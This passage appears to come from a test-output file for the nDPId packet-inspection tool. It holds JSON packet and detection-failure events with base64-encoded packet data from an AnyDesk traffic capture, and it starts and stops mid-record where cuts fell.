knmqpMnXgFAwnaGVvTYfT8wHaxTAUNxDVLt8AjVHLOLeQOjRuID4OjxnOBA14ec98V3gJh4C6rqP7gM76RSSKdLHdeTM2rWNl0ZIW5U2fIDu5sPMyJkYziQipeJRSRTjGX97TrSV8y5LQNF8jYC\/mfkaNSbSPRJwdreW\/Mai9npd4Nd4D\/dwM5pcEv5r9TbozYuvPx\/Rx\/U030kGikoDXMGSAlE7qSq1n8abZCd2oFb1SBjZpvbboiWeGvILuv+odY8RyRzhJnSU6S37xVc6rZbyCq3aAh9sC5cN4Cb7L04t982pghtL5zVfi\/2pFx+nQw1NSZE3+TQ9DhKNquB4JGX3zXJyy34OHxxpD+JV9CtJhjnpzh627e52FD6s7CC5lwPhL8X1m2h8fVNPkU7t7W69EXLc9ERPAfkn8C6tlr928QvGESCm4hGTNBKjrd38RDwkV9QUypVaRQ7010CxmbdkA3Q3Uwdm9Kng0kvd8XVc1Dc0aUUsmFap7g+AGch3duoYec5cKpw8p6vmAaHrHHNwz+9GkEkYE5Qlvci+F9\/yBtML5u7AUbmBOoP+iXpK67IwvortAd5V+WflBHo6J0yk6M5ow5nrb5VFZQUSOCaJhFAcDjJh\/giW85Bjbp\/N3i5WWQXXvquJWGKwLRp8i+j\/RdlIUib4Ae2XVGAxniBtq8NlDtN+LbBEJF2PrEb\/soCboH4\/YBchj+4hOmxgIQS3DK11Hs3tULEC+SEs6zjyncYayySyESi4yJQF27MZ4j6sOITDJCPUUymxI5DoaPf9ze9w+5\/jqfnahX5uXNW391TcjKFiBmdyoIQ3lkrKDmxZ7kPeTQea4lOv1kE7Y8zxVpvt8B2ALRd\/uHl+QsiYpP0iuYU74OTChLTLmzlEMlMtShc4sgARvv+S8VpK\/ZXHFP0jWIW3uUKTuaE8rMpMgnas7y5fNSXNq74h9G1JkP+w+sOGvCC39G9ABcj5hulCk43YdS1kRaZl4nIKBV87P83vKorNGv50NeafUbnGu1tZTSXNUQOhL3PA8kjM4ugRSu0kOGHryoYSHp\/CTmPq9ZEV+gizGiQ44B10R5M79zPWgi+TZMOh0QZl8xvWH3CxsIYr87sqI+XOWuLVkE3tUww2StX08\/MX0TT98koOKZv8od7tawI4GV34dwJAaS30N8LFS4rr6udRTYRn6sQx7r9kNnPIVjEJ3Ma0Rtb4aiA73d3Bc8yKivsu1cyTx+WC96SnpqPkhOoLkx2s2HW43h3k2UrP0GIx6pTqYJZITfYA1XBYlpHOZh1hhQBG0Epktszs82tgD7cWcPuzuZiVwU0LMBFmrdAFwtH5nMuWOHqdILKKHp1OPMSmm6H2TcOzsFzga1W\/l8eJzvuxziDvf6XoWXsbZhrkg\/\/NcGNSfTgWV6kju8RMxouUTiFaXvTFHNRDEdXVQuiaEbxy76ilkZS8sGU1GNWW9cNMk9wvEcmKj5Phsend+NzdCf1yVlOB+d+Rrxo\/YlgCQhfO+jjBvXSEK21we\/74Ka8BQ+6g4UuDRqknIBtdvzSwp+X87x4h9Q6w7IG9iDJbA+VHNUBfwRJJmLbdCJgrLc7L7VTI3Q86YGaO1\/q9VklFfBlLWWtPlQd+P0gfzG1Khxd9SDy0KYp0AkTyM2clsj4+VnugCb\/9sxAEFyDtCy6waWCfWyPnBXw+a\/10jCshOKKxe+Ag3oRAKutwVpKOIz1B0i2tnNfonf3TytQX9uMyty2ndM2Gbsj95comPPEAzAGpCOyHJ9FVqh6iGhbi5+PhDsezWsN8DN3\/7ZBJh1MB4iemA2fa5dp\/ggOam6xEL1\/+67p8MnzJRmas4Z\/g4Q++\/qu4qxtptS+ZplLyDWidP0vAKlAOmiyoZ+q3qwvBS8u3NLWedcFPae9f0l2TfAdLMOHIHb1PQYYiCCtQ8LZu03eVvSzuYA4eDp+00gErKLBcyXMcrWYKtBf4nAl9kNWYX8nUBBisDzZjoMYEnuMyV8SQOAhC4xb79sycF5+PT\/ATMVS\/9jXirNZj\/WcFcH6ukQaGPmHy2pw5q9YQCYXOXzSRKNNkM+v55AvJL9032Wds6a0amY03yCUJmHgOKoh8L99mZ+EQTCMROZV100NrTPgZtjFEtZBYz\/TdXi1WtbOkIljFiBcc86JV\/1rj81DYH3HZzR5V3\/g\/UjlJ4aqWing4lZXMez2CM02xCt2EIqTh9+vTGkslVDlBxSViD7kqQjzEKzBFimSc9Tg8vKO65\/bg8FyROmhMKBVV5nEcxEqz4BjR417UPsbgEvXZFlUzp\/p337Kh141h6Nv7fyAxS8wotqEm5rb2T\/45JHuQNEv1w0nom8ycXIdtjdAvNR\/v22AGfevUq\/0K\/Be8vMsdNG\/yE6PJR\/hivJIVCeJFy92zWk7qcNVGyAdyqCMi07RW8tKQ7850bFzmNJ3VcK5RFU1HkH84sEN2mxyeND5JvKbkHJ9AzmmSOK+195tf8h+CdJ+dC2eozTMXkwlWhxzysJibtiAXh6sBQ9UdVegXluiMg0nyOMHVbSCp92IoBClrJcZlESS+tZ8qvqVxopDVI1Gx8jKyxMUx8A4h1sY2lGEQRs3MxynbVHR8BIJVGCZBbMYUMy2PdelHzzop8XZBFu9ysiHOoAUO+LyLQCpZCpiDrluEVVbQ5licH6rAaA1DpwTwZ0BPrf9s+rxwpqVL4OsbIwE8IiMC6I4bJJJZA0xqf\/6\/1zrJ1hvdGdx4zogQ71NAKPE0eCtm50P43doASWm0cklTSZMD+JgMdPgkxKbax6deJn\/vVIxRpYJ+LbFiNmKPbWxNA15tqsEdi4VUjjShZKMAW89KcajCeYAa4DmrfAfGZ5s4WZZ3LP8IfBwaUQoUfaSZeJ0EMJMDaK6JZ7wbr0YSGPbGhCl584Y4ccSsickQ34ffG50F1ySgZh\/xePvVL93y1lIpBwEqgQZez+J1dvyprSrHsAx25CPld3\/jhRsRuJWM7ahtL3RgE4oiOH1P24oTD8HApJbvJRjcJjZzk1H0EVXzGWR7Mco99sQIwqJsaMl0DLpZCiipmS9uxvv3LOuAGTHUrnobOwBQXig7uw+86BMP+Nb3skup6grkt\/rsD0hxK0TdKZhoh\/aZMH59CBTFEH\/bnArG9+e+5+1oZCen8AwcfdrUiEZjs0pV5z5ZwDTlDskS+d+DNTuEt\/zbwKEcDr9bMp6WWUejS+SWH8afXePxofE4WtwAQpJ0j\/0eXPxqndxgJEeO52AQ12\/nFFQVXjt\/43fyBF5n0usS3yONOISiNqFWsG6DsefBuWmGHL3QkllIRxOu7ptsVJU1E\/GtFUqe+J9Mv0jCJ1OTtAYfNlD6CfKr0Je5b9P1kXj234ZO1TBMHsgyFSbpgcSZpqpQXhpK7yZl+n8sy0E6HxBLuMtnv+2HCYvQ8QXP+cHnbdZXUgTu+2zxpmtU22QxehgToqdfFEKUDRhD52Ro51DPLBNxPgMqHi9GzRx1CU\/wR+SWKCMiGw4tUloC8nDV5TCqheb6aJpHWzlegP7VdTM2eabttCIpQhIr7aAGFT2e+VxeZlCFth54lihxubQ7J3QwL5AK9Ece3KjoaTOw9gaX1ACJyhJYNqNsm1CWYk6elXJGeGK+1P6zmd8rjX5npIV+fNa9QDpiS88p1nk+up8vja2mZJG6aIIxt3H1QjRoReh+I0ke3qDrVHGY4IJIeB0CMscWHE8r9iSHeJ8pPHc\/KtrlIlgEMKy+7mA00DItjkunwwM42LPtfdVhOo+gWEgL\/KHHETkagBmwk6wU\/9a8Fmakkvh\/8rnqOAg+uY149aWIOfJ9BjL1b\/O00EutDN8pgFkStHIPHJ5lI\/CPFspScUYEkjRxenXaafakFUHlfBSQhDHC\/ZxzrMk\/\/UtkAUB9zu9UfJBiOUigXcUOhKxDHZ9H6Jux3FNx4Hz4T9BMYVbECpIS1FcxOTWI2FaYvXBYyjymZBWxZPhDrK37uZCxT6OQiTUKhYrX63cVhlzPEhdw1yQlmpvdAjWYMw8jplUmmVYUOR8ubTjLf70XNRymGHKTVtaJ35+00dWq5bsgA5YHM6tCdUTvsdTRJuO5lM4x1vbqyQpCPXB4XiUWQKt6GvCgwVWbXblWV0gHMrXN3BQxS6sfi6rVC\/oP0bA3M2XXjQiJJYlxh2CAZnXxHAcZaGeASxheTAG8WP7aiUZdaH\/PfvsZM3nrND5f9w2SlIRSIlWEwc8BJuVRRptfyHXPXRFaDBM4dF138apuYzIJCUe24uC+l5WGE+ThyhCB6X+JknU6cvpcyvFr199ePakM8HX2HzlAdgqR29NVtEAVJcAxo3UeMS5imwQY+a85G7BnLvt0D1c4Ix48KFbCU4PD3hBpiYBdBd6gM1F\/\/RFP8t76YahM6NLEeIV2Q9ZapFW7T4ATW2cvwOcXTsvKb65LPcED3Tp+oUNtg3eR3xKUCkMkXpRx1WojDN7Nb2Yp\/gVT1Uy38yPG3bhWEfV\/8x9ctW8yKEyxPIPmkkoE30uIy6gr8ZlAM2qUWhhQnMVyLPG8+1hgpGFRhorPfmcQo\/T7yNBELBsodzokwcelgvJQ1Rx0+Oj4HLeA8jlF3igrAR0tH7bUINulqvo3MqM3s3sZTmYpK6u72BbkL4TyPhAqo2opP5xlm+BADC6mDLJeSrm6CW4g7lL1aYn43qClW4CyM60VGrqMea5xuYhhrWzOgPsNETfnF4No3hG5mYFXiHlKYI03oCvR0zGkBK0IVMAW1cTu8HXXrw0IFOPpapLkpKrKSw+p6KQsMZ\/YmPRD6dSlT1bekNyvWgCMioGR6RLa0x+woQ565ahtwsZtwbGIhNE62e9bW5zIzLg5FRV3zMXdIt1TNJwvpK9iurFZA7ygg3\/tfkj2KiQbp64Rs0NrOIEE6WmdHZgQThCrGi176CYuApWSD\/Np2FH3HBBvRc2dwXHbqleKgFvZzJiqMNncm8BSYwV6czYW4J4Tfd4+E38YsDprwLvsieYI7F0du50tI5rQnTacE6pInc\/uE+Sqxj0ydaSG9mXdeRcUzJxUB8M2sa6VwPDBav7cWVYtaE\/gePABO\/0i+GZozbl8BGMZrjxzyNT69hZ2jlU4nkBC7HS8a13NDeHqIKuL2Na8ka8eyTH31QPppAm9djUqSOkXDkxEmGDFW\/5tq8mEJ9P9sTUUZ4VlcpgNCS1XNEgZhOcAJmjEw4SbTbzyMDPrSCunFN6CEXfp1CRuToIl2ZOi1NtlH4T81ZvoW+e\/EzJTbxpiM2TGo7uj8Nw+CMYDVBHW0thtbefMhBqD80pTtJbbbRJlfIzExNvtuYxRnvorlveYCPvymA7PtG0OmeqoVTxyIpq66J0Crmo+8yH2CdaM77+du8IMrMJlMZbJBF7MI2+pVhNZ2WsT+J++ijhUsZYV2q3BCW330BstdJ+ka6WCr0fvtGzRJLFmbnhqoYQLoxKmppsqkHIFSkaphcW3Romn9jeD4ICvhpyMl05+iSke8QpUc4KnAbc0rrHsw6tAMhPY8rrLjksDXnbrXsWUugzZD3CblTVHQqVWhesa6fV0O5V+D1DjI8\/bub7C8oH0SMdBMt9uiiF6gsuyWA5nv7FX6Rqlw2kY7RZgwePMmU7MZvPaALTFkK\/9mQIGiVeUyp6SPZLIxPRgHbDOk25qwixsm8"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2111,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +04505{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2115,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":77087,"pkt_caplen":3103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3103,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhQJAAIAGAADAqAG7wKgBstOUG56PMgThWcRHc1AYIBOExAAAFwMDC+RZ4hNO+msW\/2yBup+HoL7Ll9xLXvitF5xg0WQ+G9ozIqdp3kcXOkjYs4worb1wkwYq+f0ndd+Of6djJKie0BZi\/CzM9QpxC9CX4cqO8trJ\/kuQBqE9niIFclLn5nQUtcVuKgJsvEpsSM6S0mhtA80w3Wn5Jqwq75PHlBRz26llp7BkygY9gNqjjzAXFjTKV0lOAoFwa3M88bzgsZ5+gnvCnmAJu8mE7jCzD4o6Sqhac8q4hinfs3e\/pURxqa6pFvSaF3mvm0CGNaMm2dspkSN7RAPUfw27NPU60X5sRrETGmesZjfbQIcxirziXDDc0Y3p1lQoTHY1QDxOdBfyuekyfO0wh4H3QyDHKXG69rj5UoWYzROkCJCkEXDBoa5QqIwWnsog+LlSxvourax1JTkbhkwa68c4DWHH6Fkuet1Jqh3ieJWjq9YvXbB0mJLLqWvl\/l7emJO08DhYJ+5T5vwRdVsVkqml2bKbLwW50qdZ+fMLRF0C6tiru2MbbBKjKa3oVMXtF7\/l7NX4qDVGiCmcq6FxVtoVsu+pV+75RVRpaw4iVAjDf\/an2rbeieJUqxxbRbUXR9YyMCbEZhCRA9Tt2Vs6f8GYDGQXCrRJnOXpDlpG2tWxfzL+AVtWJxrklCkyF7KeU983NpRM9BFc1c1eGK8ka3AK26NuL4DThgdeWP01a\/TBByimwh\/4\/GzlWzEI39+qejxfl2XIxMX76vBixUtKPF0TvUhKhA6qh31r7B47q0zMy00sVfwtThDtpwM0Ry9WvWIy8hIzXrL9Mf7E53uibDkn5EimnjThgHEUltbpbEIvafGazek8WpxDnaV+YmIZk7A4v8gjQv3grREopPMVyWlcuaZ5oEA89I78anIYIT8SrBjJlTS7z\/GCpiRjZ8MIwo4+aI2eDwQFhIj+F2c5cYsFQvGUPtxfPAgwjad9WDLPQZClN+9MY8WkjJAY85M+XaMiS2lcxZAw4OEbHkCwa+G2O8TuRJ8d6uZBP\/0M1j1przyZ3QK\/5fAFs0GJtKpQ0utpmf8EXj7lyxnfP35eqq4EMWfOLXHh\/E66k85mVaYuCd0\/TVO1HcOFDG4BvQsRl+WLuayWZuSJZtCP3NdrgN8wRsDus40WouPuISxHSRIGeVkUHlHZmKlLp1gYGw\/qqNjCyEmsAdI3EEejpvlTJnRVeLNc4ze+ZBsHtLlBmyDqDWZtMUI+VVceC5QGXfEVNX9A9vEFv9zmD8pbLgO1XH4iP386n0hPjAmJT5l9k7bBnru43VgdvG9ky61OOercKDWSAlTKtbJKBIOCL1wq19mZ9e8TVVAZbJjv\/B9cxtx7B+J\/CNL2t2oVFqR\/1hXk+RxqJ+xP6bULx87dgm6K6E2aPVH6\/xMlIolKmg5uSJ95EnbdgsHMtr2BJjcUne1pfr\/bOyJI7qKU5ZQbr9JNdg0uGEZumVsXxt9N32LOvnC3N3FxscMiHuLbh+ocBaghDCMWzpvAFvEg2p9DmTCY\/n8LJOdOD17mJD4Tde4AkJWUWF\/nlnOimnR5tCv7peNkya5cLBmDCtbkaXoVDimFnBEBJmJ2YGyeAxPWeA6yytu7afAKvk7xeI3Z\/vfcb0EO9ydDMPq4ERq1gQiG6rqcp+e\/0mHJRC4JQiKEYI79rNLEPggFaaZ4ecsHtgGXLBFIe3AJsVjQ0rKC4dj9tGyWLzzVfsUol+hQfRwL0zQZFskdl53R\/TQwEQ5mH\/ohP2EWxRJ5MqhRfHQ5g9Cf0IuE1x7KB3ST0khfFDVxfmWeVt1SB9obaw2zjkscZ7FAWmEZq4CvdhoFZGVSmKWhaumrqclkNW0+iqWOHKfTnxJWcQ7B3QyRmmWWEa3KlvwZCoqetK3qnX\/VUi7gKgCZN5yIm3fkYxQ8BA2M098lktc2JKiivtUql7N3\/yMUNxR1VM\/sroKeywbmN2CerH5gOco4ajU\/UpB3ix965LiNF9qwELit3X+rC0xe0VDMvq630783WgmgFkOHcHvqa4ZW3efQcJYFnToYxcTnuGIKpgDH5VYarq6c5aJ8Z2\/8Tg8LtaPAh\/Aurnj+8E3OErvfNaB94drzt4hjlvBaLCaAX1QbRVYdmdikFcaHsa\/efsMe8m+eIBBBDRMyfrLRzVhCuoEFrkVHn\/tbJ+lPmJLh9ybl1s8iigICh2JYdSBESjKGHOnRgXUTOEuUOhjPPtetuVIdJxk51fw2iwcw+1SNxywfYzMXZCrhMXl3LKUvNbdxiiByPmmCDqhXa2oPmyEnDqOtULHGEUY+RSPO7c04K8EK8IKIWgwPJL05iovlgqbxJq5pQSf\/ksoL4RqzwNFty8oyfYwvZtKjh8T8HZ606l++dZcWDcXjR3A9bQfrCGDfZrlHr9o4UlgSk\/NO1vom34auDz7Fn9c0y94roGvySuwe8LIlODX9w50Pedj6WFz3eoejEZGv6NS5QadE2h7GXYRkncWAgIJZki4jUH0aTM6VeSuPvVtszY7ubD6E4VA8Dx+QY2HCX5Byi9LeDcMmZMN2dF+5XcuoyzYO2\/c3Prsd6B51E\/ybbXcGxZ0sZ460\/CydIf8ywr746V2C3niTTovMYgpDtWGNalM6gJox9CkXWOmWH0QaK\/\/QKm2KGp6XOTkg2ofBoc1LWjECcAGFSgMGOCxiGfT9AKLYGEzKcnXEWCQ67dojxZ86Op2+cIjx0uCL7RTOtzOviR\/x7QFx34e7scquCO3+44PFOzInIIspAwR28NLenXuQyVMadOfPHgHkAfG0lYtIRf\/LDb5GKselWePB2zUWlg\/ewvlVMEXnOTGv7CfdFMqf6PMMZy8RVfD0chT9fsidshUlkMJCcNyBsUouERdWvlzMB\/zNyWkrVk50I+xCs0LlsXzVk\/D+bKUrcdz5TmTBNGjoXDrtZDMyfXOg+5md9lyTPrLvhTsqlCRL71HEiicltDiHcojCABliqkimYH+fZJ53LtsLD1EeJb38OBpA+61l4Utk2RPTr3yRoiuvCu9OeSFBXqq+yudWC5LuXdUvJDjsqOoG3uBZkm2+KBMhZNOiWZvHbk0H0gAGsEB3o1KQuIgrKspDGDKsEs5zAuU63zfTp3IEnXhdB0tDqyBNZXkFlGCzHbjmfV4v1BQDY22bmt7ef7pOahkkuMHZ8BYsEIi6OuScw1PlWbHO41E7CtxdlTsnX4cFkcEsl36ww8wthMvrG\/6t5ipDG33JhVR7dK0rVRdGNZK8CVf2rzqOqHvqMkIbWVjh2f\/TVIB0vQO\/b1Ii29lw7gWNAITlBsrGCgt56oVDyiwXAb8GmS+L3BoHqyeF2\/lC2tgMapUhazmOjuBG4xqyFYvX9+H7m9Tk3Rts\/0Xv606p4NrVgXZ7K7yERqhMsZVuhXjd2HiUnZwQyYhvbBO34aIDmy05TyI1cnwrwb5JNuXp90RcmZzmSsNlxidGBJ61i8FPf3B2SU3eT71eTqKgwY50uF7Lo76WxhqSSje6hVx6BDgesaGm3TScIhZKHQp6VzYGZcXZGqPUGUxwZJa2SYAVGz8mv8QJupgoN29lWyP7SR8+5O8MaiGNSfIxBJz951uR6M+e4qMs4w+1WBhRhv5pCmvn5KkJxi0WrIeTLz35OKm7bQrcQwkPV+jgOL6fOgGGJgEXbvGyC7nDDu4OrkDHmhhm1\/Vh7DSLQZY2tXq\/C3bI\/sDM2\/tItOJ2x8Ue4V9cRrQQmRh1NSis8Qe13k\/IYEIym3rCDYr3UoQrtvLP+Ae7gLOb+lF\/NlYsxjfHYgLG6kFP4s7edh\/rCGXVza+\/rr6OtKCcRnPvSEMhLh7R053nfAkZho3YX+\/1tdr8DTTxjL1TvSbEHr9qfDMGll3s9pNnYErxZ95QcBZN7KLulPcLS4sx7TDR9lXSRht3FhEKedvBnGg9SMn+KxrWk2EYqfg+NMDzowt6F9OiFtIziufAnNjrUnKZUJC8h7X4DOJhriT2+XdyKs+SOp+G0gWQaEuuxPEv79q6XS9QPIOIZV3TZSIdR3jGF1v+2ulXFeoA3wSWU+wIJ6q+0LypNTjvOvahZq55xFOmbHWfvatuRw=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2115,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3069} +07809{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2118,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":77384,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhQVAAIAGAADAqAG7wKgBstOUG56PMhDKWcRHc1AYIBOExAAAFwMDFXlZ4hNO+msXAIdi\/m6nv+Dl9vPvwG2p0VZZfLh6Oh2CEqILxTxc2vLsNDg6rImGjFni9g+wQMcSYQiL3WMG0YGO\/sBQWCQpdE\/XBETuJ5gJR8xP6IoFQ2oc0nvxd88a3b4OI0ZpFt8DDV4e52GPL5BQDQVEFZyjlrsWM1iowB2oMb014i95hP03Rgx3RJGbs+ZWt3Nrqc1bWY5gHhXxUMnqYlbKmift5PvUaMKRnqb+S71F6nBzAe1aNY3cUXRvmXO+CqWDS3jDx27fHR5+8XXhR2k8UK508lME6hDJb8lLgoebA9eLo7+fqaa50GGSXOcBNP33TP6jvUOKNFGaUs4ivznTv6gFCdMl0HSzVxTcaxlH9Bad+DccYPRC4gu+sI4PDGhP+Ir6YSDN\/eZ5qRLqgk4GR\/3ndqzjiJMvEv\/bIQJ0qCEBXsZ8Ch2aUyAvQDnp3Ww9K6tT04ydOpDsxYeqGaD9MYohuIWaeMUp3TB0cdSh5qshSQdw8JrhA1z1txCYgXnoBcdUyRSwK99jKBGDKXFTw23EZTav4fLbpv3dqSqpfDEDrcaM+mYAkjpkfBHmh5a6FJ3W178kDo4JpoULsoHh\/ku30O2\/B59CrdMk9Az40cEtwmvQxkaBUhNvC58sgY7iAuCsz4h6SWPQoVTqZYyqE7PCA653KofnnfytqiRmMqOurgoUjrB0kv0iFhubgS1LitXqY3U+nEW1XEel9LJ3nOsa7NOumvVvV2oOeRY9LZJvmUxDlYVZjzld6LGQpHW3z\/avRjJGD4RGQq0Ewn25r1lg3wakBba+rgwjYbUHf7CjJaOntfPRrjTRZMlPggsQdYzzwhaD9a7EOZtGM0mVN815PTjqznBStjt4J14VDnO4BAycpLMwQxcL9cFAmrW64sWSbDMj9PiiXu2M7spe\/ev+0DwfYWycef3dzsmwdmMe+xbkIYFApH\/+HIFGdaZq0dSmBn0lfnwH4kekZ6bSWmhGI0L5YXfVTHuHqQDLVcUt+OTvHTJApvaFUT6Vug0EXiAhWDNZs\/yoTNl\/J0RBgMI9kijEf8IAWC+TRgbfGN8cEXnrfp03QJruX9alII3CafGXjszCTL7NM4M+NVK8PWmNDM0oevVDa\/8E4yQw3l4Br5p4xXAbKWsGlRI7brgHjIu+f3yrJlbx\/ybkaORXUTmSqMUs+RrwBPlgwOcCXraOwTnfxEkrpPOzntAm9iho9DpGHwjSmVU1PrITNbUmzTohIgjCHZVACfqaZxWp6HnPjkRGo3r2dC3JBIPTaVDu1S04m585Kdl3RvTkE\/f3Vk531rm6xxnwbKbpP8HP7Nj3NR5+2OMb+Pl2Zcdnmvjj49jm20q7w4UxDXUBMVZEoTPOU6hr5EMJGSBuyHN82Gfdi5GvsJ2e4g59bcKMB8OqbEw3wLmFDX7ykIKUCCfnvgntDHH7TnBABdep36GV0B4c466OUlCWQ8zsrUIb3rn74k+ErY5rB\/K\/FomvFu0nihsZzXPwDvjGFSX80yHntl4rb6OKWVMBL+MAYCYfGj6zeVbRm4U\/V+AH0bJB4WgVqc5SAi3ysESWEcG6zg8e2YlL5b8fqP5e5GeWgyZevcu8ExbUZrEg\/+T1AlPMMST9GUvAIfGodW9nDTqNCdCQLX1lNCZQWIJZqzkyzLKzEe6HLkHb+YOVpPjhysKDoPxql1xXK37dINUPgUYdTHtInfFWtS2qejqUP24N\/R4x3JUv+9lpqasg99qKr44\/uLC2bYopXzmc0274WO2T5iLcnTGHEXu0IQtZYjkVHvHFiZrX5rHfzN\/8u8VnigkK7gcV6Su7p9ej\/Zi1FOWfAJbGlkSiMcXEbi4waxOLTDPbXvJa1vQCmI347tuCSzPw0M3ONyVFcxP9xH4ZTxG7pqoPnAftB1m5wgSq2zlcI2XRXOF\/fNwnUdMnSRCZhBwmID1kmg+PRn5yy4oq5M+C5lkJX93\/QL5V3KNbdKS4Bq7eYz+irp\/YYNs5z0MS4TUtbhyYrL+0MRQtHimZTyZHyFpNKY+jYefGlrlj9Lj7QuA4O+LySPSitbdowh6oFOFd6NcIzmw+kY0c\/gs\/u4hRcYjnrCHros1iFYjd3\/1NEUcaMx4zp1Q+T3w3LUl2ypDZ3yHjgLcrjztN0GDBSnl7c\/Yv\/tstQHzSQsRQGV5i+x6FXVSnFCpWy9hyppoa97ZuUqlF1diCW4kT3FsdAtNF9CPvlU2I5M5xyzIQnBkpuRVL\/WczWnzwVUz4p06rAgGH7oq1iNkeigB0Qy5Qc8mACvfkFi82\/lq2k08A72YfbmY2Dgs1IRyaEKCdm0WeJaEIUyqMz1VYlCiuK1rAuTKLUYIxyXNohdtNgDn7rccusiuJp7776Bsga0gGfWfFptL2U0KRmayt1VuZcrvAwhjDD4J2jPUIv8JApJmZzggqOOoJN\/l7ocHtBpEwJvmpaszCeRRwZ6nQaLWD0tbM8\/80IrzRIFwOXzIgtAzpXT8BSnpqSeQyYzbHRX1aNWGwi7YsEqU2l9GGF7+gq93tB1l6zLL9ItBiq3Iabez2+eibNWDSX50044KCGgiZaNt1dtzuGTAmadRTrRwsWtlXhgO62eEDpNYY2y8ZfXiRbT\/ZpRP88qIhCZH8Fxip3MWVqK2nAYyi5Sm\/ZMg5jmpn6tegVjL58FCQJVKH2m4ZbuCd+KNVJP5w6CCA4b0XdqdJrTNgGWsKTQwiW1JOp9BGNcdSlZmhLmS5\/+dovlKfKU3qU8MXAlk3Cb7RaVuhS1j0\/em1xZsx48U3usB0V92ZrfXbS9dDhD87e7qIA+R9U09GWBYxgCf3IlrXjTRfj7CiUttPg9XhzADx0onH\/JZIGv88xMC5XbheqbcSopLobvxoq4K3tOawK0zB5XTARxVkQCWKCB\/sYfDa3mGhOwv3AGid9tNkQcyaxGDDo3dDLz41B8P\/5sd\/GkWJgSp8tzcTt+izA4a38uo3+tDKit7tkEJngSLsqJ8jJ0cwbaXjlTJZQiAJaf\/pqdJKGtfRUcGvDmdK52IMNRWA7XkcE8KKNjAq0lzlUD0RbkDT7EQUAj8cfWGA8YqNcvAPO4KEb69AA21csmn0a5YORO8Cy7kmxyomsj1TT49n7B6bt+rKvcAVG2YfVRvueeXUIJ3Y86GVCHsa4Q\/bzftZUau1JqTW5Ap\/ZRZCEoRg4LC0TzKltND6INtQ50LAOvZujNGGWcXkb\/Yt\/bpWvPnCMmJcTpVDEw85Uain96DSUDkB8akbhHZmuI7kbNQ6vOtcuFtZGEVs\/fxT7sHBhxFm2PhLe7o9\/wIwY5hod866fZHOYkUznPlQnos4mjSEcjZi8rm9bl0tDE5KwEkqdh5QoagRqOI256n76U0gHg+3hUClk7gD3QO0A1NXSdHRg01KIYVKssQwC+J4o8hlr9BSDIq6gy3v\/tsNvFKepZcTUv9V8EdxV0dZ5fu9YwgC\/N5ClN2ME6CEkW3YUXm7E9QjvVtrQsslac6xaDLJx0FznAb06Xy6Vai5kZ3ZrSghNiwmgOXo+PRQCdY31rfXaap+QkchEA9x\/4ceFEKqE\/8uBsJoKxwBi136aDl4aU03Nqm9lidStnBSDwjA6jkeHkoixsKdjMHbb4AWLVldmx8841urMG4HME1zuicJkyM35QWeVNWDAXmO4kfTdgZc83R2RPPGtW\/TzTu3jDwzmlFYnUz9YsGrO3s3Udb7+EXyCaACoEiVkfgYJxVt4ZiVno3imj02IgNerZkMpsGa5PLQ1q0z6UrSYqfRbIQGUEY72\/nVnbdjVDzKOndXySmcdcbIkzK0gdEWMcmi5QRRJR3fztXp3nBfnUVqHQ9CqiYEchjkIj+CH0fIIW4eM7kfO80maQdd9JdJdKtBpWwpvOaInMN25ViQ+f62f7bqh5dQ8ssSBDZ5G3AFrjvzukYr9u\/YaMWD1WWJ2zbofZse8H8mrWE\/MeWJZ6eIEdK+uhmG2a2VePtHJ6dU6e3cM2E3TWPThteW2pT6kwXfo8nIU4TWXYdbBqglpOuvTjiDyvEM2DmxM+zfi8K1VbssuZasaxJadqMvciD9xGk7CmVT3WJkrLx8ZqTl2yj\/PdZh7xGKW8s4QNb5cR3Ir2oNrsUKCk2ETdHA5SF0zUqldaCtQe6TN84xQvfWf\/GV+3c9BgdiGGXB7O7Wa48Kd878i7gtlStFdZJhaGw3j1EGMSX83rdkC3KHvWPNl1fLbGwdKn7Hkz+lxpGb1cB0NTfEhz8wkCb5ydbxjE4lHcUqh0wmMign9GeWRZBQ2NKaYysdrkj0Xs7u8bwyGCUBdNmEwXOGZbcfgCt7pi16gYHb0tyodLLRNXKhruQe\/rqtxR\/HGNG1azIcAr0t51dq0Wu5p5BqOkZqNgmg+7ANbqeHtqcHSlTDExzZBO+BQ9nsGS7XobKGBiHmb0Ste4UvVVA48iG2Vm0+IeGkLyMNXiU4krvYxCMavP5RLqs4vRWeGiOeFBiBIPL8cvgIwLDpf70y3Mu2JfEjmS59d2zjbsSpxrqRish6wXk5T73+zcacOMgG2dxVxkOc2A1fHBRgG3IP4TjimwBrSYGEAkdvnfPsk39O3W7xgM8A1AHqrLMO3Tcxuwgs2vVT7wxHkuZkeHw33vqWLhcSn3tCPC6\/rAp08RRe6fFZIIhgjXvAKCXRnWvq6bqJ3fHUBynwPvOpW24ZHzb10MWj59RuA3hwkJT4Q1mZ15LDFwQmAcgG1UsIW0spdOr\/owK+foYDnU7uu+Ou73iLMA94AOWkmbbKzQ3X8wvGA+pKrq88fqoZ\/kp3oFnFDSAbGltHlEyM1nv97OElOW6A61An\/zyKpwJjo7zYe8sdjy2hu0dbBuGBEsMfKuxOOIzIH5Jk0uqtjHRyF8BLfT9tyonB3Xx51CSAXFkkbj4Y0adELiVBUN49HDzM5xxRM4VkSBOFokVY4CrVPzUT8rjoXfNQQF9Ns6eXanfCmjUkNYHEhny9WmR7Pbvp4cdRMTOSRFyVFM+XfDjAFZFRCooj4KRdtVa1i0fLDEkAyLVcFUnE7\/k\/ajDNVwpSURrnU8eCSN314v8++QjAkBuptEAiNYXApQd4YGPUIErNXfnF